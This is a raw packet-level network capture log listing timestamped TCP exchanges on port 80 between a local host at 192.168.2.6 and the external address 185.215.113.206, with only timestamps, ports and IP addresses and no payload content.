Dec 9, 2024 18:20:34.778091908 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.778325081 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.778407097 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.779115915 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.779170990 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.779220104 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.779253006 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.780000925 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.780075073 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.780088902 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.780124903 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.780699968 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.780761957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.780977011 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.781039000 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.781687021 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.781742096 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.781816006 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.781871080 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.782717943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.782793999 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.782924891 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.782982111 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.783911943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.783976078 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.784035921 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.784084082 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.785228968 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.785279989 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.785389900 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.785435915 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.786473989 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.786526918 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.786870956 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.786914110 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.787530899 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.787596941 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.787663937 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.787720919 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.788729906 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.788778067 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.788949966 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.789009094 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.790102959 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.790152073 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.790179014 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.790235043 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.791081905 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.791140079 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.791167974 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.791215897 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.792264938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.792318106 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.792411089 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.792464018 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.793312073 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.793385983 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.793448925 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.793509007 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.794430971 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.794476986 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.794536114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.794583082 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.795732975 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.795789957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.934250116 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.934331894 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.934371948 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.934448957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.934686899 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.934746027 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.934864998 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.934942961 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.935008049 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.935075998 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.935978889 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.936048985 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.936052084 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.936101913 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.936804056 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.936882973 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.936940908 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.936989069 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.937777996 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.937829971 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.937963009 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.937998056 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.938803911 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.938853979 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.938935995 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.938981056 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.939913034 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.939951897 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.939954996 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.939992905 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.940673113 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.940728903 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.940782070 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.940829039 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.941740990 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.941802979 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.941971064 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.942023039 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.942965031 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.943023920 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.943088055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.943130970 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.943948030 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.944006920 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.944034100 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.944077969 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.945097923 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.945163965 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.945705891 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.945754051 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.947019100 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.947103977 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.947127104 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.947185040 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.947791100 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.947840929 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.947922945 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.947973967 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.948534966 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.948586941 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.948637009 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.948683977 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.949436903 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.949503899 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.949634075 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.949692011 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.950041056 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.950100899 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.950129032 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.950177908 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.951013088 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.951064110 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.951158047 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.951203108 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.951745987 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.951843023 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.951863050 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.951909065 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.952497005 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.952538967 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.952657938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.952719927 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.953480959 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.953521967 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.953596115 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.953713894 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.954425097 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.954473019 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.954582930 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.954657078 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.955430984 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.955480099 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.955588102 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.955629110 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.956724882 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.956779957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.956934929 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.956986904 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.957545996 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.957617998 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.957683086 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.957727909 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.958537102 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.958590031 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.958620071 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.958673000 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.959419012 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.959479094 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.959532976 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.959583998 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.960362911 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.960412025 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.960613966 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.960665941 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.961337090 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.961383104 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.961447001 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.961502075 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.962369919 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.962415934 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.962424994 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.962467909 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.963326931 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.963372946 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.963426113 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.963470936 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.964389086 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.964443922 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.964513063 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.964606047 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.965341091 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.965396881 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.965554953 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.965660095 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.966264963 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.966337919 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.966542959 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.966586113 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.967200041 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.967334986 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.967344046 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.967391968 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.968236923 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.968281031 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.968331099 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.968390942 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.969234943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.969305992 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.969348907 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.969404936 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.970299959 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.970367908 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.970523119 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.970573902 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.971365929 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.971466064 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.971520901 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.971575022 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.972451925 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.972517014 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.972625971 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.972693920 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.973340034 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.973467112 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.973490000 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.973543882 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.974092007 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.974153042 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.974195957 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.974306107 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.975168943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.975227118 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.975366116 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.975508928 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.976046085 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.976120949 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.976202011 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.976250887 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.977061987 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.977119923 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.977230072 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.977281094 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.978009939 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.978061914 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.978179932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.978223085 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.979089022 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.979146957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.979243994 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.979300022 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.979994059 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.980067968 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.980102062 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.980170012 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.980911970 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.980966091 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.981074095 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.981163979 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.981970072 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.982033968 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.982065916 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.982156038 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.983102083 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.983198881 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.983262062 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.983331919 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.983974934 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.984028101 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.984091043 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.984167099 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.984869003 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.984920025 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.984993935 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.985061884 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.139976978 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.140054941 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.140093088 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.140152931 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.140645027 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.140706062 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.140933990 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.141011953 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.141583920 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.141648054 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.142020941 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.142062902 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.142425060 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.142474890 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.142832041 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.142843008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.142885923 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.143522978 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.143532038 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.143577099 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.144181967 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.144232988 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.144397020 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.144444942 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.145423889 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.145431995 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.145478010 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.146336079 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.146342993 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.147027016 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.147087097 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.147161007 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.147826910 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.147847891 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.148051023 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.149070024 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.149079084 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.149128914 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.149840117 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.150017977 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.150784016 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.150849104 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.150876999 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.151865005 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.151913881 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.152240038 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.152893066 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.153116941 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.153187990 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.153726101 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.153923035 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.154628038 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.154687881 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.154761076 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.155744076 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.155792952 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.156146049 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.156793118 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.156800985 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:35.156864882 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:35.157639980 CET	80	49788	185.215.113.206	192.168.2.6
